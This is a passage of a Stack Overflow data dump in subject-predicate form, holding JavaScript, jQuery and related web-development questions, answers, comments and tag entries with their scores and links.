data[i].photo, data[i].taille, data[i].prix); // OBJECTS TO SCREEN WORKS WELL INTO THE FUNCTION BUT NOT OUTSIDE element[i].print(); alert(element[i].prix); } } }); element[2].print(); /* Impossible to modify my object*/ /* CONSTRUCTOR CLASSE "ELEMENT" */ function Element(id,txtNom,txtType,txtPhoto,txtTaille,txtPrix){ this.id=id; this.nom=txtNom; this.type=txtType; this.photo=txtPhoto; this.taille=txtTaille; this.prix=txtPrix; this.print=affForm; this.modif=modifForm; } /* THE REST OF THE CODE FOR INFORMATION IT CREATES AUTOMATICALLY A FORM WITH THE OBJECTS VARIABLES */ function affForm(){ var nom= this.nom; var id=this.id; var divid = 'div'+id; var savebutton= 'savebutton'+id; /* DYNAMIC FORM CREATION: */ /* http://stackoverflow.com/questions/17431760/create-a-form-dyna…
answer count: 1
tagged with: jquery

wijmo
type: Tag
tags question: http://stackoverflow.com/q/25792974
tag name: wijmo
tags question: http://stackoverflow.com/q/25801616

http://stackoverflow.com/q/25775370
tagged with: javascript
tagged with: jquery
has title: Jquery for Tooltip
tagged with: jquery-ui-tooltip
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40310736
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40310649
has body: I'm using the below code for tooltip display for click event Html Component: Test JQuery: $(document).on("click", ".tooltip", function() { $(this).tooltip( { items: ".tooltip", content: function(){ return $(this).data('description'); }, close: function( event, ui ) { var me = this; ui.tooltip.hover( function () { $(this).stop(true).fadeTo(400, 1); }, function () { $(this).fadeOut("400", function(){ $(this).remove(); }); } ); ui.tooltip.on("remove", function(){ $(me).tooltip("destroy"); }); } } ); // this is the line i'm getting "Expected Identifier, string or number". $(this).tooltip("open"); }); I'm using jquery 1.9.1.js and jquery-ui.1.9.2.js. But I'm getting "Expected Identifier, string or number". EDIT: Error resolved, but still I'm not getting tool tip on click event. Could someone tell me where I went wrong?
has answer: http://stackoverflow.com/a/30108353
type: Question
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/40311031

http://stackoverflow.com/q/25864131
score: 0
has comment: http://stackoverflow.com/comment/40472573
tagged with: jquery
has title: can not add two multiplications result in text box in html
favorite count: 0
has comment: http://stackoverflow.com/comment/40472184
answer count: 5
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25864386
has answer: http://stackoverflow.com/a/25864844
upvote count: 1
has comment: http://stackoverflow.com/comment/40473511
has answer: http://stackoverflow.com/a/25864931
downvote count: 1
type: Question
has answer: http://stackoverflow.com/a/25864521
tagged with: javascript
has answer: http://stackoverflow.com/a/25864403
has comment: http://stackoverflow.com/comment/40472342
has body: sir i have 7 text boxes .1st two take values from user and display the multiplication result on 3rd text box when it clicked.4th and 5th textboxes also take values and display the multiplication result in 6th text box when it clicked.now 7th textbox will display the addition result when it clicked.7th textbox takes the values from 3rd and 6th textbox. my problem is that i can not do the addition and cant display the result in 7th text box in html and jscript.plz help me.....i am attached the code... &lt;html&gt; &lt;script&gt; function getText1(){ var in1=document.getElementById('in1').value; var in2=document.getElementById('in2').value; var tot1=parseInt(in1)*parseInt(in2); document.getElementById('tot1').value=tot1; } function getText2(){ var in1=document.getElementById('in3').value; var in2=document.getElementById('in4').value; var tot2=parseInt(in1)*parseInt(in2); document.getElementById('tot2').value=tot2; } function gt1(){ var in1=document.getElementById('tot1').value; var in2=document.getElementById('tot2').value; var gt1=parseInt(in1)+parseInt(in2); document.getElementById('gt').value = gt1; &lt;/script&gt; &lt;form&gt; &lt;input type="text"id="in1"/&gt; &lt;input type="text" id="in2"/&gt; &lt;input type="text" onclick="getText1()" id="tot1"/&gt; &lt;br&gt; &lt;input type="text"id="in3"/&gt; &lt;input type="text" id="in4"/&gt; &lt;input type="text" onclick="getText2()" id="tot2"/&gt; &lt;br&gt; &lt;input type="text" onclick="gt1()" id="gt1"/&gt; &lt;/form&gt; &lt;/html&gt;

http://stackoverflow.com/a/25760649
has body: The porblem ist that in your function pintaMarkerthe map1 object is null!! The solution: Pass the map object as a parameter to your pintaMarker like this: pintaMarker(41.385, 2.154, 'hola', map1); and update you function to: function pintaMarker(lat,lng,html, map1){ var myLatLng = new google.maps.LatLng(lat, lng); var marker = new google.maps.Marker({ position: myLatLng, map: map1, }); google.maps.event.addListener(marker, 'click', function(){ infowindow.setOptions({ content: html }); infowindow.open(map1, marker); console.log(infowindow); }); markers.push(marker); } now the map object is available!
answers question: http://stackoverflow.com/q/25760232
score: 1
upvote count: 1
accepted answer of: http://stackoverflow.com/q/25760232
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40283505
type: Answer

http://stackoverflow.com/q/25826266
has title: Not 'translating' string properly?
has comment: http://stackoverflow.com/comment/40403030
score: -2
tagged with: javascript
tagged with: jquery
downvote count: 2
answer count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/25826324
accepted answer: http://stackoverflow.com/a/25826324
type: AnsweredQuestion
upvote count: 0
has comment: http://stackoverflow.com/comment/40403060
has comment: http://stackoverflow.com/comment/40403083
has body: In the following code, I have attempted to create a simple "translator" between a madeup language and English. If it worked properly, calling translate.toEnglish("hopeloplopo") would return hello Calling translate.toLanguage("hello") would return hopeloplopo Basically, I want it to replace each non vowel with the letter+op, and vice versa in toEnglish This is what currently happens: translate.toLanguage("hello") returns "OPello" translate.toEnglish("hopeloplopo") returns undefined Please help, thanks! var vowels = ['a', 'e', 'i', 'o', 'u'] var translate = { toEnglish:function(words) { function strip(text) { text = text.replace("OP", "").replace("op", ""); if (text.toLowerCase().indexOf("op") &gt;= 0) strip(text) else return text; } if (words.toLowerCase().indexOf("op") &gt;= 0) strip(words) else return words; }, toLanguage:function(words) { for (var i=0;i&lt;words.length; i++) { if ($.inArray(words[i], vowels)&lt;0) { var split = words.split(words[i]).join("OP"); return split; } else { return words; } } }, }
type: Question

http://stackoverflow.com/a/25812692
score: 1
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/25812137
type: Answer
accepted answer of: http://stackoverflow.com/q/25812137
has body: I haven't test this code. But it should work in your case. please verify and make necessary changes. $.each($("yourtable tr"),function(i,val){ var check=false; //check if Baseline EUI is contained inside tr if($(val).html().indexOf('Baseline EUI')) { var x=$(val).find('td')[1]; var p=$(x).html()+' km';//set your suffix $(x).html(p) } }); or use this as a selector of the right tr: $(".ms-formtable tr").filter(function (i, v) { if ($(this).html().indexOf('Zugehoerigkeit') &gt; 0) { return this; } })
upvote count: 1

http://stackoverflow.com/q/25856704
answer count: 2
has answer: http://stackoverflow.com/a/25856800
tagged with: arrays
downvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/40458778
has comment: http://stackoverflow.com/comment/40458851
has comment: http://stackoverflow.com/comment/40459241
tagged with: http://stackoverflow.com/tag/html
accepted answer: http://stackoverflow.com/a/25856797
has body: I have declared an array in a hidden input in my HTML form. Now I want to access that array in a Javascript function. For this, I have written the following code: &lt;form name="form1"&gt; &lt;input type="hidden" name="sq[]" &gt;&lt;/input&gt; &lt;input type="hidden" name="a" &gt;&lt;/input&gt; &lt;/form&gt; And in the Javascript function: function myfunction() { document.form1.a.value=i; // Here, I can access the variable 'a' // (since a is not in the form of array) var i; for(i=0;i&lt;4;i++) { document.form1.sq[i].value=i; // Here, I am not able to access array named sq[]. } }
score: 2
type: AnsweredQuestion
has title: How can I access an array declared in an HTML hidden input from a Javascript function?
upvote count: 2
type: Question
has comment: http://stackoverflow.com/comment/40459332
tagged with: javascript
has answer: http://stackoverflow.com/a/25856797
possible better answer: http://stackoverflow.com/a/25856800

http://stackoverflow.com/comment/40482645
comment on: http://stackoverflow.com/q/25869254
score: 0
type: Comment
has text: @sanki: That may be relevant, but as I am not declaring any variables in that function, I can not adopt the solution as is. Is there a more specific explanation as to why the variable names need to be different from id attributes of html elements?
type: QuestionComment

http://stackoverflow.com/a/25723348
has body: field.focus().keyup( function(e){ if(e.keyCode === 8) alert('backspace trapped') } )
type: Answer
score: 2
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25723298
answers question: http://stackoverflow.com/q/25723298
upvote count: 2
type: AcceptedAnswer

http://stackoverflow.com/q/25759369
downvote count: 0
answer count: 1
favorite count: 0
has body: I am able to create menu with check boxes as follows xtype : 'button', id : 'resultExportBtn', ui : 'custombtn', cls : 'field-margin', style : 'margin-right:5px', text : 'Export', menu : [ { text : 'CSV', fName : 'csv', checked : true, xtype : 'menucheckitem' }, { text : 'PDF', fName : 'pdf', checked : false, xtype : 'menucheckitem' } ] Anyone knows how to create menu with radio buttons?
tagged with: menu
has answer: http://stackoverflow.com/a/25761765
type: AnsweredQuestion
score: 1
upvote count: 1
type: Question
accepted answer: http://stackoverflow.com/a/25761765
tagged with: javascript
has title: extjs how to create menu with radio buttons
tagged with: extjs

http://stackoverflow.com/a/25737473
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25737214
has body: Your are binding click event that are being generated dynamically. So may be the click function is not binded with elements at that moment. Check below link http://jsfiddle.net/23yxj3ny/1/ $(".holder").on('click','.toggle',function() { $(this).siblings(".content").toggle("slow"); });

http://stackoverflow.com/comment/40442624
score: 0
type: Comment
type: QuestionComment
has text: See browser compatibility table at http://caniuse.com/#feat=css-gencontent and decide. `` works everywhere.
comment on: http://stackoverflow.com/q/25848022

http://stackoverflow.com/comment/40273156
comment on: http://stackoverflow.com/q/25754552
score: 0
has text: Oh, silly mistake. @DavidWelon would you chat request? Having trouble, getting Access Denied on the line as well. Can't put full code here as it's private.
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25740525
has comment: http://stackoverflow.com/comment/40310280
has body: It doesnt work because the &lt;td&gt; click function is resetted each time a new page is shown in the dataTable, and you only does $('td a[name="det12"]').click(function(){ once (thats why it works with the first page, rows 1-10). One way to solve this is by setting the trigger each time the datatable is redrawn (that is, when the user clicks on another page) the callback function fnDrawCallback can be used for that : $('#detailstable').dataTable({ "bFilter": false, "bInfo": false, "bAutoWidth": false, "bSortClasses": false, "displayLength":10, "oLanguage": { "sInfo": "Showing START to END of TOTAL entries", "sZeroRecords": "No data to show" }, "sDom": 'T&lt;"clear"&gt;lfrtip', fnDrawCallback : function() { $('td a[name="det12"]').click(function(){ alert("inside JS"); id=$(this).text(); alert(id); $('#empNumber').val(id); $.blockUI({ message: $('#spinnerbox'), css: { margin:'0px auto' } }); $("#spinner").show(); $("#employeeform").submit(); }) } }); see demo -> http://jsfiddle.net/hf1zqpoz/ I cannot reproduce your setup entirely, but click through the pages, and click on records with the content "Trident".
upvote count: 1
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/25732674
downvote count: 0
answers question: http://stackoverflow.com/q/25732674
score: 1

http://stackoverflow.com/comment/40412226
type: Comment
comment on: http://stackoverflow.com/a/25824459
type: AnswerComment
has text: I posted a question with a new code. Link - http://stackoverflow.com/questions/25831147/automatically-redirect-the-pages-through-radio-button-drop-down-list-through Please go through it.
score: 0

http://stackoverflow.com/comment/40269688
has text: I understand what you mean, but the HTML example from my question works: [http://jsfiddle.net/1f6npcn2/2/](http://jsfiddle.net/1f6npcn2/2/). It sends a request which contains exactly only "SAPEVENT:PRESS_ME" as the request URL. So why I can't implement it in JS?
type: Comment
comment on: http://stackoverflow.com/a/25752706
score: 0
type: AnswerComment

uislider
tags question: http://stackoverflow.com/q/25775941
type: Tag
tag name: uislider
tags question: http://stackoverflow.com/q/25772170
tags question: http://stackoverflow.com/q/25796804

http://stackoverflow.com/comment/40272139
type: AnswerComment
type: Comment
score: 0
has text: Cool, thanks @Barmar. And, yes, Brian S, I should account for `https` as well, I agree. Thanks guys.
comment on: http://stackoverflow.com/a/25754194

http://stackoverflow.com/comment/40423950
comment on: http://stackoverflow.com/a/25837484
has text: If `el.value` is undefined, then that means that the value attribute is not present. I thought this is the behaviour you are after?
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/25720753
tagged with: jquery
has answer: http://stackoverflow.com/a/25720792
has comment: http://stackoverflow.com/comment/40209484
answer count: 3
has comment: http://stackoverflow.com/comment/40209926
has comment: http://stackoverflow.com/comment/40209665
type: UnansweredQuestion
has title: Javascript .load doesn't see PHP's variables
has comment: http://stackoverflow.com/comment/40210610
tagged with: php
has answer: http://stackoverflow.com/a/25720817
has answer: http://stackoverflow.com/a/25721545
has comment: http://stackoverflow.com/comment/40209634
has comment: http://stackoverflow.com/comment/40211098
has comment: http://stackoverflow.com/comment/40209819
has body: I'm using the following script to load content on the page without refreshing it. The pages that I load this way should not be accessible as stand alone pages. &lt;script&gt; $(".toLoad").click( function(event) { event.preventDefault(); $("#page-wrapper").load($(this).attr("href")); }); &lt;/script&gt; I have this in my index.php define('SECURE', true); and this in the other files !defined('SECURE') and exit("Not allowed"); This system works very well with PHP's include or require functions but it blocks me from loading the pages from my index.php using the given javascript. What's the workaround or how could I restrict the direct access but allow it trough javascript on my main page? Thanks!
has comment: http://stackoverflow.com/comment/40211015
has comment: http://stackoverflow.com/comment/40211192
has comment: http://stackoverflow.com/comment/40209401
type: Question
score: 0
has comment: http://stackoverflow.com/comment/40211131
tagged with: javascript

http://stackoverflow.com/comment/40459346
score: 3
comment on: http://stackoverflow.com/q/25856959
has text: Your string isn't valid Json. I get "*Uncaught SyntaxError: Unexpected token :*". If you start with a valid Json string like `'{"key": [{ "foo": "bar" }]}'`, you'll get the expected result.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40312958
comment on: http://stackoverflow.com/q/25775965
has text: Thanks, ill try this, but I'm not exactly sure on how to incorporate the infomration I'm gettin from these cookie into cookielib. So for example it has name, content, path, domain, etc. How would I go about adding cookies into the jar and presenting those specifically when I reach the Request I want?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40383531
has text: can you give me the fiddle please?I will analyze it...
comment on: http://stackoverflow.com/q/25813369
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25866273
score: 2
answers question: http://stackoverflow.com/q/25866140
upvote count: 2
downvote count: 0
has body: You can go with this solution: I have changed some css and html markup classes Changed class name, added common class name Content 1 Continue use closest() to find nearest parent. $(".continue").on("click",function(){ if($(this).closest(".content").next(".content").length > 0){ $(this).closest(".content").hide(); $(this).closest(".content").next(".content").show(); } }); CSS .content:not(:first-of-type) { display:none; } Demo
type: Answer

http://stackoverflow.com/q/25786016
favorite count: 0
tagged with: php
possible better answer: http://stackoverflow.com/a/25786191
type: AnsweredQuestion
score: 1
tagged with: forms
has answer: http://stackoverflow.com/a/25786191
type: Question
has answer: http://stackoverflow.com/a/25786282
tagged with: javascript
has answer: http://stackoverflow.com/a/25786201
accepted answer: http://stackoverflow.com/a/25786201
has body: On my website I have a big list of all the letters people can view. For every letter there is a form which sends some data from the letter to the next page. What I want to do is to submit the form with a link, and not with a button. As far as I know, that is not possible with PHP. So i tried making what i want in Javascript. My programming experience in Javascript is litterly 0%. I need some help with this :) This is the code I'm using: <form id='brief_weergeven[]' action='<?php echo $main; ?>beveiligd/achterbanner/nieuwsbrief.php' method='POST'> <input type='hidden' name='nummer' value='<?php echo $brieven[0]; ?>'> <input type='hidden' name='datum_maand' value='<?php echo $maand_getal; ?>'> <input type='hidden' name='datum_jaar' value='<?php echo $jaar; ?>'> Nieuwsbrief <?php echo $brieven[0]; ?> (<?php echo $maand .' ' .$jaar; ?>) This code runs for every letter. As you can see, I'm using a array to give all the forms a seperate ID. The only thing is that i have no idea how to let javascript know which forum i submitted. How can I do this? Please remember that i know nothing about javascript, so please explain what you're doing in your answer.
answer count: 3
upvote count: 1
has title: How to submit one form out of multiple with javascript
downvote count: 0

http://stackoverflow.com/a/25721337
type: Answer
has body: This will make sure it does not continue to search for divisors once it has found the lowest. var divisors = [3, 4, 5, 10, 12, 15, 20, 30, 60]; var items_to_divide = [10, 30]; var divisor = false; for (var i = 0; i &lt; divisors.length; i++) { var divisorfound = true; for (var j = 0; j &lt; items_to_divide.length; j++) { if (items_to_divide[j] % divisors[i] !== 0) { divisorfound = false; break; } } if (divisorfound === true) { divisor = divisors[i]; break; } } console.log(divisor);
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/25720854
upvote count: 1

http://stackoverflow.com/comment/40381121
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25813595
has text: what's not working? Your problem description shouldn't require people to test 2 different versions to see how they work and figure out what behavior to expect

http://stackoverflow.com/comment/40404438
comment on: http://stackoverflow.com/q/25816526
has text: I've been playing around more and think it may be impossible since there would be cross domain issues. The fancybox is in the main page, the iframe is at another domain.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40478367
score: 0
type: Comment
type: QuestionComment
has text: There are no errors in the console log. the js file should send some data to the rendered html file: value should appear here .. but i see this
comment on: http://stackoverflow.com/q/25867308

http://stackoverflow.com/comment/40358997
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25801920
type: Comment
has text: this is posting only "0"

http://stackoverflow.com/comment/40497748
has text: Let us [continue this discussion in chat](http://chat.stackoverflow.com/rooms/61374/discussion-between-sforcash-and-birgit-martinelle).
comment on: http://stackoverflow.com/a/25859034
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40478788
comment on: http://stackoverflow.com/q/25867922
score: 0
type: Comment
type: QuestionComment
has text: http://stackoverflow.com/questions/3338680/css-selector-by-class-prefix/8588532#8588532

http://stackoverflow.com/q/25815374
upvote count: 1
answer count: 1
favorite count: 0
type: UnansweredQuestion
has body: I just started using onsen-ui in my phonegap app. the ui is working fine but i do not manage to change the list content stat it would load it from the server with ajax. module.factory('$data', function() { var data = {}; data.items = [ { title: 'Item 1 Title', label: '4h', desc: 'Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.' }, { title: 'Another Item Title', label: '6h', desc: 'Ut enim ad minim veniam.' }, { title: 'Yet Another Item Title', label: '1day ago', desc: 'Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.' } ]; return data; }); my ajax function is: var request = $.ajax({url: "http://[my-server-address].php",type: "POST",data: { profile-ID : "70", },dataType: "html"}); request.done(function( msg ) { // do something with var msg }); request.fail(function( jqXHR, textStatus ) {}); Im sure it must be simple, How do I use the ajax command to load the content of the list. Thank you
downvote count: 0
score: 1
type: Question
has title: load onsen-ui content with ajax
linked to: http://stackoverflow.com/q/14716822
tagged with: javascript
tagged with: jquery
tagged with: ajax
tagged with: onsen-ui
has answer: http://stackoverflow.com/a/25968843

http://stackoverflow.com/comment/128793358
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25811540
has text: @naoval When you use `peer.connect('dest-peer-id')` or the `peer.on 'connection'` event fires, you get a `DataConnection`.
score: 0

http://stackoverflow.com/comment/40298954
comment on: http://stackoverflow.com/q/25769251
type: Comment
score: 1
has text: You would have to have a way to push out the change to the device doing the display. You may want to consider having the display device poll the server to see if any updates were made by the remote.
type: QuestionComment

http://stackoverflow.com/q/25783839
tagged with: javascript
tagged with: jquery
tagged with: facebook-graph-api
has comment: http://stackoverflow.com/comment/40325410
has comment: http://stackoverflow.com/comment/40325572
has comment: http://stackoverflow.com/comment/40325501
type: UnansweredQuestion
tagged with: facebook
has answer: http://stackoverflow.com/a/25784709
type: Question
has title: how to post link to all my Facebook pages in the same time?
score: 0
has body: So what i need is share link to my Facebook pages (3 or 4 pages) my problem is when i click in Share button i get 3 popup, but what i want is one popup to share my link in all pages or a checkbox to choose which page i want. this is my code : $('#actionfb').click(function () { FB.login(function (response){ FB.api('/me/accounts',function(apiresponse){ var data=apiresponse['data']; console.log("data :"+data); var ids = new Array(); for(var i=0; i&lt;data.length; i++){ ids[i]=data[i].id; FB.ui({ method: 'feed', link: $('#lien').val(), description: message, from : ids[i], }, function(response){}); } console.log("ids :"+ids); }); },{scope:'manage_pages'}); }); So please if someone has any idea how can i do that i will be very appreciative
answer count: 1

http://stackoverflow.com/comment/40246509
type: QuestionComment
comment on: http://stackoverflow.com/q/25740433
has text: you want to retain the url parameters even after refresh ?
score: 0
type: Comment

http://stackoverflow.com/q/25789461
tagged with: http://stackoverflow.com/tag/html
score: 0
has comment: http://stackoverflow.com/comment/40335268
tagged with: iframe
linked to: http://stackoverflow.com/q/2064850
has comment: http://stackoverflow.com/comment/40335188
type: Question
duplicate of: http://stackoverflow.com/q/2064850
tagged with: javascript
linked to: http://stackoverflow.com/q/4249809
answer count: 1
has title: Refresh iframe on onclick
tagged with: jquery
has body: How will I refresh each iframe onclick? Thanks! Here's my js: function Reload() { $("#load").each(function() { if($(this).is(':visible')) $(this).attr('src', $(this).attr('src')); }); } My iframe:
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25789551

http://stackoverflow.com/comment/40400168
type: Comment
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/25824552
has text: sorry, I copied your original code without thinking too much and made a mistake. message was supposed to be a parameter to makeCounter, not a parameter to the onclick handler (see my edit)

http://stackoverflow.com/a/25867526
has body: You need to use templates to build markup structure: {{kj}} And scope variables to put the content into templates: $scope.kj = "Hello World"; If you want to build custom tags, use directives. Note, you can also do something like this using ng-bind-html-unsafe (or just ng-bind-html, depending on the angular version), but it's definitely not recommended in this case: while having: $scope.kj=" Hello World thank yougood bye"; This directly answers your question, but it's not really the ideal way to do things in angular. Your updated version: {{kj}} {{ty}}{{gb}} Controller $scope.kj = "Hello World"; $scope.ty = "thank you"; $scope.gb = "good bye";
type: Answer
has comment: http://stackoverflow.com/comment/40478129
downvote count: 0
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/40478053
answers question: http://stackoverflow.com/q/25867460

http://stackoverflow.com/comment/40320383
comment on: http://stackoverflow.com/q/25780966
type: Comment
type: QuestionComment
has text: instead of var selectedValue = $(Projcbo1).val(); use var selectedValue = $(this).val();
score: 0

http://stackoverflow.com/a/25725261
downvote count: 0
has comment: http://stackoverflow.com/comment/40219271
answers question: http://stackoverflow.com/q/25724849
upvote count: 2
has comment: http://stackoverflow.com/comment/40221650
has comment: http://stackoverflow.com/comment/40220687
has comment: http://stackoverflow.com/comment/40218416
has body: If I understand correctly, you could try something like this: var myValue = ko.observable(); myValue.attributes = { id: ko.observable() }; Then a change to myValue.attributes.id should not bubble up to myValue since there is a non-observable object between the two, but I haven't tested it. EDIT Sorry to hear that this did not work. My last idea, and this is an ugly hack, would be to throttle the observable update. var myValue = ko.observable(); myValue.id = ko.observable() .extend({ rateLimit: { timeout: Integer.MAX_VALUE, method: "notifyWhenChangesStop" } }); This waits for Integer.MAX_VALUEms each time the id has changed before propagating the change and resets when there is a new change in that time. In a real world solution, this should effectively disable the event propagation, but it is, as I said, a hack. Maybe a custom extender could be written in much the same way as the rateLimit one which would do the desired thing, but I don't know the KO source.
type: Answer
score: 2

http://stackoverflow.com/comment/40372729
has text: @AlexInTime write SelectedWorkflow.Steps.push with first letter upper case. javascript is case sensitive.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25809295
type: Comment

http://stackoverflow.com/a/25755963
accepted answer of: http://stackoverflow.com/q/25755676
type: AcceptedAnswer
downvote count: 0
has body: There are three mistakes. First var weekday[0] = "Sunday";...var weekday[6] = "Staturday"; you should remove var, like this: weekday[0]="Sunday";weekday[1]="Monday"; Second error: new date(y,m,d) should be new Date(y,m,d). Third error: new array(7) should be new Array(7).
type: Answer
has comment: http://stackoverflow.com/comment/40277197
score: 1
has comment: http://stackoverflow.com/comment/40276710
upvote count: 1
has comment: http://stackoverflow.com/comment/40276893
answers question: http://stackoverflow.com/q/25755676

http://stackoverflow.com/comment/40338500
has text: fiddle would help here
comment on: http://stackoverflow.com/q/25791140
type: Comment
type: QuestionComment
score: 3

http://stackoverflow.com/a/46904191
answers question: http://stackoverflow.com/q/25793880
has body: To check whether the input file is empty or not by using the file length property, index should be specified like the following: var vidFileLength = $("#videoUploadFile")[0].files.length; if(vidFileLength === 0){ alert("No file selected."); }
upvote count: 30
type: Answer
score: 29
downvote count: 1

deserialization
type: Tag
tags question: http://stackoverflow.com/q/25829315
tag name: deserialization

http://stackoverflow.com/comment/40479516
type: Comment
type: QuestionComment
has text: i could not because the date format used is UK is dd/mm/yyyy where as in US its mm/dd/yyyy
comment on: http://stackoverflow.com/q/25868282
score: 0

http://stackoverflow.com/q/25731084
tagged with: javascript
has title: Server Side Function Calling Client Side Javascript Function For Results
score: 0
tagged with: asp.net
tagged with: vb.net
type: AnsweredQuestion
type: Question
has answer: http://stackoverflow.com/a/25731371
accepted answer: http://stackoverflow.com/a/25731371
has body: In an asp.net web application, is it possible to write a function, in a class on the server, that calls a client side javascript function which throws a prompt box then waits for the user's response? I have a function that successfully calls the client javascript and shows the prompt box but the function doesn't wait for the response from the user, the code behind always keeps going. Is there a way to make it wait for the response? Code Behind Function: Protected Friend Shared Sub ShowDepthQuestion(sLaborId As String) Try Dim sQuestion As String = mDatabase.GetSingleValueString(" SELECT question FROM laboroverride_hdr WHERE hdr_id = " + mDatabase.AddQuotes(sLaborId), Nothing) Dim cs As ClientScriptManager = mFrom.ClientScript If Not mFrom.ClientScript.IsClientScriptBlockRegistered("devTeam") Then cs.RegisterStartupScript(mFrom.GetType(), "devTeam", " ") End If ' TODO need code to get the response from the user here Catch ex As Exception WebFunctions.UnhandledPageError(mFrom, ex, "Depth.Retrieve.Functions.ShowDepthQuestion") 'Return "" End Try End Sub Client Javascript Function: Any help on this is greatly appreciated. Thanks
answer count: 1

http://stackoverflow.com/a/25863243
has body: The problem is at every step when you click 'Next' it check if there are more prompt messages before saving the current value. But if there are no further prompt messages it skips to showFinal() You need to push the current value before checking if there are more messages to prompt if (currentPrompt != 0) { answers.push($('input').val()); } // if there is a next prompt if (currentPrompt &lt; prompts.length) { .... updated fiddle: http://jsfiddle.net/w840jpac/1/
downvote count: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25863102
has comment: http://stackoverflow.com/comment/40470599
type: Answer
score: 1
answers question: http://stackoverflow.com/q/25863102
upvote count: 1

http://stackoverflow.com/comment/40335786
comment on: http://stackoverflow.com/q/25788386
score: 0
has text: that is why i have given the reference...
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40309728
type: QuestionComment
type: Comment
has text: This may give you some ideas... maybe couple the principle here with a setInterval, or some other way to throttle checking what's under the cursor as it moves across the expanded image. http://stackoverflow.com/a/17978065/1998238
comment on: http://stackoverflow.com/q/25774412
score: 0

http://stackoverflow.com/q/25738343
favorite count: 0
has title: JavaScript library for plotting maps
answer count: 4
score: 2
upvote count: 3
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25738638
tagged with: maps
downvote count: 1
type: Question
tagged with: charts
has comment: http://stackoverflow.com/comment/40242790
has answer: http://stackoverflow.com/a/34310819
has body: I am building dashboard for sales company and I need to plot map of India on it. It should highlight different states on the map according to the sales in that area. Please suggest suitable JS library that can be helpful.
has answer: http://stackoverflow.com/a/25754422
tagged with: javascript
has comment: http://stackoverflow.com/comment/40243051
has answer: http://stackoverflow.com/a/52740261

http://stackoverflow.com/comment/40267429
type: Comment
comment on: http://stackoverflow.com/q/25751642
type: QuestionComment
has text: They might be sending the right information, but that still doesn't mean you shouldn't use the console to debug, I guarantee that if you debug through the console you'll see why the application is behaving in a weird way at times
score: 0

http://stackoverflow.com/comment/40556092
type: Comment
comment on: http://stackoverflow.com/a/25855183
score: 1
type: AnswerComment
has text: Must have been blind when looking for such method in the documentation myself! Thank you :)

http://stackoverflow.com/comment/40448587
type: AnswerComment
has text: this actually worked, I'm gonna have to find another way as I want to work with multiple variables. do have one problem though. for some reason I only get the first letter of the variable string not the whole string. is there some problem with my php coding.
type: Comment
comment on: http://stackoverflow.com/a/25837715
score: 0

http://stackoverflow.com/a/25769371
has comment: http://stackoverflow.com/comment/66979514
upvote count: 7
has body: http://lodash.com/docs#pick It expects an Object as the first parameter, you're giving it an Array. Arguments 1. object (Object): The source object. 2. ... 3. ... I think this is the best you can do: MyCollection.prototype.select = function (properties) { var self = this; return { where: function (conditions) { return _.chain(self.arrayOfObjects) .where(conditions) .map(_.partialRight(_.pick, properties)) .value(); } }; };
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40305709
type: Answer
answers question: http://stackoverflow.com/q/25769121
downvote count: 0
score: 7
accepted answer of: http://stackoverflow.com/q/25769121

http://stackoverflow.com/q/25806312
favorite count: 0
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
tagged with: css
has answer: http://stackoverflow.com/a/25977843
has title: Animation concept of every section hardware from Mac Pro website is done by css3 + js?
has comment: http://stackoverflow.com/comment/40366420
upvote count: 1
type: Question
score: 1
has body: Hi all I was wondering how did apple did their hardware animation on their website http://www.apple.com/mac-pro/ Does anyone knows how this is done? css3 or purely js or html5 video? the container seems to be at .placeholder-inner
tagged with: javascript
answer count: 1
downvote count: 0

http://stackoverflow.com/comment/42069302
score: 0
has text: I stepped through, you save (), translate(), then you call another drawing function and therein you save() again. But by that you just copy the state to the stack, you do not restore the transform. So translate() is still applied.
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/26710948

http://stackoverflow.com/comment/40208490
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/25720236
has text: I don't want to refresh it after time as I said in my Question.
type: Comment

http://stackoverflow.com/comment/40405565
comment on: http://stackoverflow.com/q/25795314
type: Comment
score: 0
type: QuestionComment
has text: With the hive broker it seems to work.

http://stackoverflow.com/a/25827522
downvote count: 0
type: Answer
upvote count: 1
